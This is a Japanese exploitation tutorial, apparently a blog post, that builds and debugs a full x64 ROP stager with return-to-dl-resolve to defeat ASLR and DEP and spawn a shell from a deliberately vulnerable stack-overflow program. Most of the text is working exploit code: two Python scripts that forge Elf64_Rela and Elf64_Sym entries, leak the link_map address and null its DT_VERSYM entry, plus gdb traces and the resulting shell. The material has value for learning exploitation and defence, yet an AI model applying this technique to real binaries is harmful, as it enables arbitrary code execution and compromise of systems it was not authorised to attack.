x64でROP stager + Return-to-dl-resolveによるASLR+DEP回避をやってみる

「ROP stager + Return-to-dl-resolveによるASLR+DEP回避」では、ASLR+DEPが有効なx86環境においてlibcバイナリに依存しない形でシェル起動を行った。 ここでは、ASLR+DEPが有効なx64環境において同様のシェル起動をやってみる。

環境

Ubuntu 12.04 LTS 64bit版

$ uname -a
Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

まず、スタックバッファオーバーフローを起こせるコードを書く。

/* bof.c */
#include <unistd.h>

int main()
{
    char buf[100];
    int size;
    /* pop rdi; ret; pop rsi; ret; pop rdx; ret; */
    char cheat[] = "\x5f\xc3\x5e\xc3\x5a\xc3";
    read(0, &size, 8);
    read(0, buf, size);
    write(1, buf, size);
    return 0;
}

このコードは最初に8バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。 また、このコードではrdi、rsi、rdxの各レジスタをpopするROP gadgetを意図的に埋め込んでいる。 実際は、実行ファイルのバイナリ中にこれらのgadgetがないか探す必要がある。

ASLR、DEP有効、SSP無効でコンパイルし実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=2
kernel.randomize_va_space = 2

$ gcc -fno-stack-protector bof.c

$ echo -en "\x04\x00\x00\x00\x00\x00\x00\x00AAAA" | ./a.out
AAAA

エクスプロイトコードを書いてみる

まず、readelfコマンド、objdumpコマンド、rp++を使い、実行ファイルに関する情報を書き出す。

$ readelf -S a.out > dump.txt

$ objdump -d a.out >> dump.txt

$ ./rp-lin-x64 --file=a.out --rop=1 --unique > gadgets.txt

これらの情報をもとに、エクスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen, PIPE

bufsize = int(sys.argv[1])

addr_dynsym = 0x00000000004002b8  # readelf -S a.out
addr_dynstr = 0x0000000000400330  # readelf -S a.out
addr_relplt = 0x00000000004003b8  # readelf -S a.out
addr_plt = 0x0000000000400420     # readelf -S a.out
addr_bss = 0x0000000000601028     # readelf -S a.out
addr_plt_read = 0x400440          # objdump -d -j.plt a.out
addr_got_read = 0x601008          # objdump -d -j.plt a.out

addr_pop_rdi = 0x0040054f         # 0x0040054f: pop rdi ; ret  ;  (1 found)
addr_pop_rsi = 0x00400551         # 0x00400551: pop rsi ; ret  ;  (1 found)
addr_pop_rdx = 0x00400557         # 0x00400557: pop rdx ; ret  ;  (1 found)
addr_pop_rbp = 0x00400512         # 0x00400512: pop rbp ; ret  ;  (3 found)
addr_leave_ret = 0x004005a6       # 0x004005a6: leave  ; ret  ;  (1 found)

stack_size = 0x800
base_stage = addr_bss + stack_size

buf1 = 'A' * bufsize
buf1 += 'A' * (8-len(buf1)%8)
buf1 += 'AAAAAAAA' * 2
buf1 += struct.pack('<Q', addr_pop_rdi)
buf1 += struct.pack('<Q', 0)
buf1 += struct.pack('<Q', addr_pop_rsi)
buf1 += struct.pack('<Q', base_stage)
buf1 += struct.pack('<Q', addr_pop_rdx)
buf1 += struct.pack('<Q', 200)
buf1 += struct.pack('<Q', addr_plt_read)
buf1 += struct.pack('<Q', addr_pop_rbp)
buf1 += struct.pack('<Q', base_stage)
buf1 += struct.pack('<Q', addr_leave_ret)

addr_reloc = base_stage + 48
align_reloc = 0x18 - ((addr_reloc-addr_relplt) % 0x18)
addr_reloc += align_reloc
addr_sym = addr_reloc + 24
align_dynsym = 0x18 - ((addr_sym-addr_dynsym) % 0x18)
addr_sym += align_dynsym
addr_symstr = addr_sym + 24
addr_cmd = addr_symstr + 7

reloc_offset = (addr_reloc - addr_relplt) / 0x18
r_info = (((addr_sym - addr_dynsym) / 0x18) << 32) | 0x7
st_name = addr_symstr - addr_dynstr

buf2 = 'AAAAAAAA'
buf2 += struct.pack('<Q', addr_pop_rdi)
buf2 += struct.pack('<Q', addr_cmd)
buf2 += struct.pack('<Q', addr_plt)
buf2 += struct.pack('<Q', reloc_offset)
buf2 += 'AAAAAAAA'
buf2 += 'A' * align_reloc
buf2 += struct.pack('<Q', addr_got_read)  # Elf64_Rela
buf2 += struct.pack('<Q', r_info)
buf2 += struct.pack('<Q', 0)
buf2 += 'A' * align_dynsym
buf2 += struct.pack('<I', st_name)        # Elf64_Sym
buf2 += struct.pack('<I', 0x12)
buf2 += struct.pack('<Q', 0)
buf2 += struct.pack('<Q', 0)
buf2 += 'system\x00'
buf2 += '/bin/sh <&2 >&2\x00'
buf2 += 'A' * (200-len(buf2))

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

p.stdin.write(struct.pack('<Q', len(buf1)))
p.stdin.write(buf1)
print "[+] read: %r" % p.stdout.read(len(buf1))

p.stdin.write(buf2)
p.wait()

このコードはオーバーフローさせるバッファのサイズを引数に取る。 コードの内容は基本的には「ROP stager + Return-to-dl-resolveによるASLR+DEP回避」と同じであるが、以下の点において違いがある。

  • 関数呼び出しにおける引数は、スタックに並べる代わりにpop命令でレジスタにセットする
  • Elf32_Rel、Elf32_Sym構造体の代わりに、Elf64_Rela、Elf64_Sym構造体を使う
  • reloc_offsetの値がアドレスのオフセットではなく、Elf64_Rela構造体の配列インデックスとなる
  • 上の理由により、Elf64_Sym構造体と同様に、Elf64_Rela構造体を置くアドレスが構造体サイズの倍数の位置になるよう調整する必要がある

Elf64_Rela、Elf64_Sym構造体の定義は次のようになっている。

typedef uint32_t Elf64_Word;
typedef uint64_t Elf64_Xword;
typedef int64_t  Elf64_Sxword;
typedef uint64_t Elf64_Addr;
typedef uint16_t Elf64_Section;

typedef struct
{
  Elf64_Addr    r_offset;               /* Address */
  Elf64_Xword   r_info;                 /* Relocation type and symbol index */
  Elf64_Sxword  r_addend;               /* Addend */
} Elf64_Rela;

typedef struct
{
  Elf64_Word    st_name;                /* Symbol name (string tbl index) */
  unsigned char st_info;                /* Symbol type and binding */
  unsigned char st_other;               /* Symbol visibility */
  Elf64_Section st_shndx;               /* Section index */
  Elf64_Addr    st_value;               /* Symbol value */
  Elf64_Xword   st_size;                /* Symbol size */
} Elf64_Sym;

引数をセットして実行してみる。

$ python exploit.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAO\x05@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Q\x05@\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00W\x05@\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00@\x04@\x00\x00\x00\x00\x00\x12\x05@\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00\xa6\x05@\x00\x00\x00\x00\x00'

x86の場合と異なり、うまく動いていないことがわかる。

動かない原因を調べてみる

gdbを使い、エクスプロイトコードが送り込まれた後の様子を調べてみる。

$ gdb -q --args python exploit.py 100
Reading symbols from /usr/bin/python...(no debugging symbols found)...done.
(gdb) set follow-fork-mode child
(gdb) r
Starting program: /usr/bin/python exploit.py 100
warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffa000
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New process 5551]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
process 5551 is executing new program: /home/user/tmp/a.out
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAO\x05@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Q\x05@\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00W\x05@\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00@\x04@\x00\x00\x00\x00\x00\x12\x05@\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00\xa6\x05@\x00\x00\x00\x00\x00'

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 5551]
0x00007ffff7de86fa in ?? () from /lib64/ld-linux-x86-64.so.2
(gdb) x/i $pc
=> 0x7ffff7de86fa:      movzx  esi,WORD PTR [r8+rsi*2]
(gdb) i r
rax            0x7ffff7ffe2c8   0x7ffff7ffe2c8
rbx            0x0      0x0
rcx            0x0      0x0
rdx            0x601888 0x601888
rsi            0x1563e  0x1563e
rdi            0x400330 0x400330
rbp            0x0      0x0
rsp            0x6017b8 0x6017b8
r8             0x400374 0x400374
r9             0x600f70 0x600f70
r10            0x4002b8 0x4002b8
r11            0x246    0x246
r12            0x601008 0x601008
r13            0x7fffffffe720   0x7fffffffe720
r14            0x0      0x0
r15            0x0      0x0
rip            0x7ffff7de86fa   0x7ffff7de86fa
eflags         0x10202  [ IF RF ]
cs             0x33     0x33
ss             0x2b     0x2b
ds             0x0      0x0
es             0x0      0x0
fs             0x0      0x0
gs             0x0      0x0
(gdb) p/x $r8+$rsi*2
$1 = 0x42aff0
(gdb) x/gx $r8+$rsi*2
0x42aff0:       Cannot access memory at address 0x42aff0
(gdb) i proc map
process 5551
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
            0x400000           0x401000     0x1000        0x0 /home/user/tmp/a.out
            0x600000           0x601000     0x1000        0x0 /home/user/tmp/a.out
            0x601000           0x602000     0x1000     0x1000 /home/user/tmp/a.out
            ...

ここで、set follow-fork-mode childによりfork後、子プロセスとなるa.outの様子を表示していることに注意する。 上の結果から、_dl_fixup関数において$r8+$rsi*2 == 0x42aff0のアドレスを参照しようとした結果、セグメンテーション違反により落ちていることがわかる。

前後の処理を確認するため、_dl_fixup関数に対応するアセンブリコードを表示してみる。

(gdb) bt
#0  0x00007ffff7de86fa in ?? () from /lib64/ld-linux-x86-64.so.2
#1  0x00007ffff7def235 in ?? () from /lib64/ld-linux-x86-64.so.2
#2  0x4141414141414141 in ?? ()
#3  0x4141414141414141 in ?? ()
#4  0x4141414141414141 in ?? ()
#5  0x0000000000601008 in write@got.plt ()
#6  0x0001563e00000007 in ?? ()
#7  0x0000000000000000 in ?? ()
(gdb) x/10i 0x00007ffff7def235-10
   0x7ffff7def22b:      mov    rdi,QWORD PTR [rsp+0x38]
   0x7ffff7def230:      call   0x7ffff7de8680
   0x7ffff7def235:      mov    r11,rax
   0x7ffff7def238:      mov    r9,QWORD PTR [rsp+0x30]
   0x7ffff7def23d:      mov    r8,QWORD PTR [rsp+0x28]
   0x7ffff7def242:      mov    rdi,QWORD PTR [rsp+0x20]
   0x7ffff7def247:      mov    rsi,QWORD PTR [rsp+0x18]
   0x7ffff7def24c:      mov    rdx,QWORD PTR [rsp+0x10]
   0x7ffff7def251:      mov    rcx,QWORD PTR [rsp+0x8]
   0x7ffff7def256:      mov    rax,QWORD PTR [rsp]
(gdb) x/50i 0x7ffff7de8680
   0x7ffff7de8680:      push   r13
   0x7ffff7de8682:      mov    rax,rdi
   0x7ffff7de8685:      mov    esi,esi
   0x7ffff7de8687:      lea    rcx,[rsi+rsi*2]
   0x7ffff7de868b:      push   r12
   0x7ffff7de868d:      shl    rcx,0x3
   0x7ffff7de8691:      push   rbp
   0x7ffff7de8692:      push   rbx
   0x7ffff7de8693:      sub    rsp,0x28
   0x7ffff7de8697:      mov    rdx,QWORD PTR [rdi+0x68]
   0x7ffff7de869b:      mov    r9,QWORD PTR [rax+0x70]
   0x7ffff7de869f:      mov    rbp,QWORD PTR [rax]
   0x7ffff7de86a2:      mov    rdi,QWORD PTR [rdx+0x8]
   0x7ffff7de86a6:      mov    rdx,QWORD PTR [rax+0xf8]
   0x7ffff7de86ad:      mov    r10,QWORD PTR [r9+0x8]
   0x7ffff7de86b1:      add    rcx,QWORD PTR [rdx+0x8]
   0x7ffff7de86b5:      mov    r8,QWORD PTR [rcx+0x8]
   0x7ffff7de86b9:      mov    r12,QWORD PTR [rcx]
   0x7ffff7de86bc:      mov    rsi,r8
   0x7ffff7de86bf:      shr    rsi,0x20
   0x7ffff7de86c3:      cmp    r8d,0x7
   0x7ffff7de86c7:      lea    rdx,[rsi+rsi*2]
   0x7ffff7de86cb:      lea    rdx,[r10+rdx*8]
   0x7ffff7de86cf:      mov    QWORD PTR [rsp+0x10],rdx
   0x7ffff7de86d4:      jne    0x7ffff7de8834
   0x7ffff7de86da:      movzx  ecx,BYTE PTR [rdx+0x5]
   0x7ffff7de86de:      and    ecx,0x3
   0x7ffff7de86e1:      jne    0x7ffff7de882c
   0x7ffff7de86e7:      mov    r9,QWORD PTR [rax+0x1c8]
   0x7ffff7de86ee:      xor    r8d,r8d
   0x7ffff7de86f1:      test   r9,r9
   0x7ffff7de86f4:      je     0x7ffff7de871f
   0x7ffff7de86f6:      mov    r8,QWORD PTR [r9+0x8]
=> 0x7ffff7de86fa:      movzx  esi,WORD PTR [r8+rsi*2]
   0x7ffff7de86ff:      and    esi,0x7fff
   0x7ffff7de8705:      lea    r8,[rsi+rsi*2]
   0x7ffff7de8709:      mov    rsi,QWORD PTR [rax+0x2e0]
   0x7ffff7de8710:      lea    r8,[rsi+r8*8]
   0x7ffff7de8714:      mov    r9d,DWORD PTR [r8+0x8]
   0x7ffff7de8718:      test   r9d,r9d
   0x7ffff7de871b:      cmove  r8,rcx
   0x7ffff7de871f:      mov    ecx,DWORD PTR fs:0x18
   0x7ffff7de8727:      test   ecx,ecx
   0x7ffff7de8729:      jne    0x7ffff7de8816
   0x7ffff7de872f:      mov    esi,0x1
   0x7ffff7de8734:      mov    r13d,DWORD PTR fs:0x4c
   0x7ffff7de873d:      mov    DWORD PTR fs:0x4c,0x1
   0x7ffff7de8749:      mov    edx,DWORD PTR [rdx]
   0x7ffff7de874b:      mov    rcx,QWORD PTR [rax+0x380]
   0x7ffff7de8752:      mov    r9d,0x1

この内容とレジスタの値をもとに実際のソースコードを見てみると、落ちている箇所が次の部分に対応することがわかる。

      const struct r_found_version *version = NULL;

      if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
        {
          const ElfW(Half) *vernum =
            (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
          ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
          version = &l->l_versions[ndx];
          if (version->hash == 0)
            version = NULL;
        }

これはアドレス解決を行うシンボルのバージョン情報を取得する部分であり、プログラムはvernum[ELFW(R_SYM) (reloc->r_info)]の箇所で落ちている。 そこで、この処理をスキップするため、if文の条件になっているl->l_info[VERSYMIDX (DT_VERSYM)]がNULLとなるようにメモリを書き換えることを考える。 なお、バージョン情報がない場合もライブラリ側で指定された特定のバージョン(一般に最新バージョン)が選択されることになるため、動作にはほとんど影響はない。

l->l_info[VERSYMIDX (DT_VERSYM)]は、アセンブリコード中で[rax+0x1c8]の形で参照されている。 また、raxレジスタにはlink_map構造体lのアドレスが入っており、これは実行ファイルのGOTセクションの2ワード目に入っている値である。 以上をもとに、エクスプロイトコードを次のように修正することを考える。

  1. GOTセクションの2ワード目の値、すなわちlink_map構造体のアドレスをwrite@plt関数により書き出す
  2. read@plt関数でデータを読み込み、stack pivotを行う
  3. 書き出されたlink_map構造体のアドレス+0x1c8の場所に、read@plt関数を使いNULL (=0) を書き込む
  4. Return-to-dl-resolveを行う

エクスプロイトコードを修正してみる

上の内容に従い、エクスプロイトコードを修正すると次のようになる。

# exploit2.py
import sys
import struct
from subprocess import Popen, PIPE

bufsize = int(sys.argv[1])

addr_dynsym = 0x00000000004002b8  # readelf -S a.out
addr_dynstr = 0x0000000000400330  # readelf -S a.out
addr_relplt = 0x00000000004003b8  # readelf -S a.out
addr_plt = 0x0000000000400420     # readelf -S a.out
addr_got = 0x0000000000600fe8     # readelf -S a.out
addr_bss = 0x0000000000601028     # readelf -S a.out
addr_plt_read = 0x400440          # objdump -d -j.plt a.out
addr_plt_write = 0x400430         # objdump -d -j.plt a.out
addr_got_read = 0x601008          # objdump -d -j.plt a.out

addr_pop_rdi = 0x0040054f         # 0x0040054f: pop rdi ; ret  ;  (1 found)
addr_pop_rsi = 0x00400551         # 0x00400551: pop rsi ; ret  ;  (1 found)
addr_pop_rdx = 0x00400557         # 0x00400557: pop rdx ; ret  ;  (1 found)
addr_pop_rbp = 0x00400512         # 0x00400512: pop rbp ; ret  ;  (3 found)
addr_leave_ret = 0x004005a6       # 0x004005a6: leave  ; ret  ;  (1 found)

stack_size = 0x800
base_stage = addr_bss + stack_size

buf1 = 'A' * bufsize
buf1 += 'A' * (8-len(buf1)%8)
buf1 += 'AAAAAAAA' * 2
buf1 += struct.pack('<Q', addr_pop_rdi)
buf1 += struct.pack('<Q', 1)
buf1 += struct.pack('<Q', addr_pop_rsi)
buf1 += struct.pack('<Q', addr_got+8)
buf1 += struct.pack('<Q', addr_pop_rdx)
buf1 += struct.pack('<Q', 8)
buf1 += struct.pack('<Q', addr_plt_write)
buf1 += struct.pack('<Q', addr_pop_rdi)
buf1 += struct.pack('<Q', 0)
buf1 += struct.pack('<Q', addr_pop_rsi)
buf1 += struct.pack('<Q', base_stage)
buf1 += struct.pack('<Q', addr_pop_rdx)
buf1 += struct.pack('<Q', 200)
buf1 += struct.pack('<Q', addr_plt_read)
buf1 += struct.pack('<Q', addr_pop_rbp)
buf1 += struct.pack('<Q', base_stage)
buf1 += struct.pack('<Q', addr_leave_ret)

p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)

p.stdin.write(struct.pack('<Q', len(buf1)))
p.stdin.write(buf1)
print "[+] read: %r" % p.stdout.read(len(buf1))
addr_link_map = struct.unpack('<Q', p.stdout.read(8))[0]
print "[+] addr_link_map = %x" % addr_link_map
addr_dt_versym = addr_link_map + 0x1c8

addr_reloc = base_stage + 104
align_reloc = 0x18 - ((addr_reloc-addr_relplt) % 0x18)
addr_reloc += align_reloc
addr_sym = addr_reloc + 24
align_dynsym = 0x18 - ((addr_sym-addr_dynsym) % 0x18)
addr_sym += align_dynsym
addr_symstr = addr_sym + 24
addr_cmd = addr_symstr + 7

reloc_offset = (addr_reloc - addr_relplt) / 0x18
r_info = (((addr_sym - addr_dynsym) / 0x18) << 32) | 0x7
st_name = addr_symstr - addr_dynstr

buf2 = 'AAAAAAAA'
buf2 += struct.pack('<Q', addr_pop_rdi)
buf2 += struct.pack('<Q', 0)
buf2 += struct.pack('<Q', addr_pop_rsi)
buf2 += struct.pack('<Q', addr_dt_versym)
buf2 += struct.pack('<Q', addr_pop_rdx)
buf2 += struct.pack('<Q', 8)
buf2 += struct.pack('<Q', addr_plt_read)
buf2 += struct.pack('<Q', addr_pop_rdi)
buf2 += struct.pack('<Q', addr_cmd)
buf2 += struct.pack('<Q', addr_plt)
buf2 += struct.pack('<Q', reloc_offset)
buf2 += 'AAAAAAAA'
buf2 += 'A' * align_reloc
buf2 += struct.pack('<Q', addr_got_read)  # Elf64_Rela
buf2 += struct.pack('<Q', r_info)
buf2 += struct.pack('<Q', 0)
buf2 += 'A' * align_dynsym
buf2 += struct.pack('<I', st_name)        # Elf64_Sym
buf2 += struct.pack('<I', 0x12)
buf2 += struct.pack('<Q', 0)
buf2 += struct.pack('<Q', 0)
buf2 += 'system\x00'
buf2 += '/bin/sh <&2 >&2\x00'
buf2 += 'A' * (200-len(buf2))

p.stdin.write(buf2)
p.stdin.write(struct.pack('<Q', 0))
p.wait()

引数をセットして実行してみる。

$ python exploit2.py 100
[+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAO\x05@\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00Q\x05@\x00\x00\x00\x00\x00\xf0\x0f`\x00\x00\x00\x00\x00W\x05@\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x000\x04@\x00\x00\x00\x00\x00O\x05@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Q\x05@\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00W\x05@\x00\x00\x00\x00\x00\xc8\x00\x00\x00\x00\x00\x00\x00@\x04@\x00\x00\x00\x00\x00\x12\x05@\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00\xa6\x05@\x00\x00\x00\x00\x00'
[+] addr_link_map = 7f036bb002c8
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

必要なROP gadgetが揃っているという条件のもと、ASLR+DEPが有効なx64環境下において、libcバイナリの情報を利用することなくシェルが起動できていることが確認できた。

オフセット0x1c8の詳細を調べてみる

最後に、[rax+0x1c8]のオフセット0x1c8の詳細について調べてみる。 すでに述べたように、これはlink_map構造体lに対してl->l_info[VERSYMIDX (DT_VERSYM)]の値に対応するものである。

l_infoはlink_map構造体においてglibc内部でのみ利用されるメンバであり、次のように定義されている。

struct link_map
  {
    /* These first few members are part of the protocol with the debugger.
       This is the same format used in SVR4.  */

    ElfW(Addr) l_addr;      /* Base address shared object is loaded at.  */
    char *l_name;       /* Absolute file name object was found in.  */
    ElfW(Dyn) *l_ld;        /* Dynamic section of the shared object.  */
    struct link_map *l_next, *l_prev; /* Chain of loaded objects.  */

    /* All following members are internal to the dynamic linker.
       They may change without notice.  */

    /* This is an element which is only ever different from a pointer to
       the very same copy of this type for ld.so when it is used in more
       than one namespace.  */
    struct link_map *l_real;

    /* Number of the namespace this link map belongs to.  */
    Lmid_t l_ns;

    struct libname_list *l_libname;
    /* Indexed pointers to dynamic section.
       [0,DT_NUM) are indexed by the processor-independent tags.
       [DT_NUM,DT_NUM+DT_THISPROCNUM) are indexed by the tag minus DT_LOPROC.
       [DT_NUM+DT_THISPROCNUM,DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM) are
       indexed by DT_VERSIONTAGIDX(tagvalue).
       [DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM,
    DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM) are indexed by
       DT_EXTRATAGIDX(tagvalue).
       [DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM,
    DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM) are
       indexed by DT_VALTAGIDX(tagvalue) and
       [DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM,
    DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM+DT_ADDRNUM)
       are indexed by DT_ADDRTAGIDX(tagvalue), see <elf.h>.  */

    ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM
              + DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];

    (snip)

  };

ここで、Lmid_tの定義は次のようになっている。

/* Type for namespace indeces.  */
typedef long int Lmid_t;

ElfW(Addr) == Elf64_Addr == uint64_tであること、ポインタのサイズが8バイトであることより、link_map構造体においてl_infoはオフセット64の位置にあることがわかる。 ただし、コメントにあるようにl_real以下のメンバの配置はglibcのバージョンによって変わる可能性がある。

l_infoはdynamicセクションに置かれたElf64_Dyn構造体を指すポインタの配列である。 ここで、参照されているインデックス値VERSYMIDX (DT_VERSYM)に関する定義をまとめると、次のようになる。

#ifndef VERSYMIDX
# define VERSYMIDX(sym) (DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGIDX (sym))
#endif
#define DT_NUM          34              /* Number used */
#define DT_VERSYM       0x6ffffff0
#define DT_VERNEEDNUM   0x6fffffff      /* Number of needed versions */
#define DT_VERSIONTAGIDX(tag)   (DT_VERNEEDNUM - (tag)) /* Reverse order! */

DT_THISPROCNUMの値はアーキテクチャごとに異なるが、x64の場合は0となっている。

/* Number of extra dynamic section entries for this architecture.  By
   default there are none.  */
#define DT_THISPROCNUM  0

以上より、l->l_info[VERSYMIDX (DT_VERSYM)]を表すアドレスは次のようになる。

l->l_info[VERSYMIDX (DT_VERSYM)]
== &l + 64 + 8 * (DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGIDX (DT_VERSYM))
== &l + 64 + 8 * (34 + 0 + (0x6fffffff - 0x6ffffff0))
== &l + 0x1c8

これはアセンブリコード中の[rax+0x1c8]に一致している。

なお、svnのannotate情報を見ると、このオフセットはRevision 4(2006/08/16、glibc 2.4)から変化していないことがわかる。

関連リンク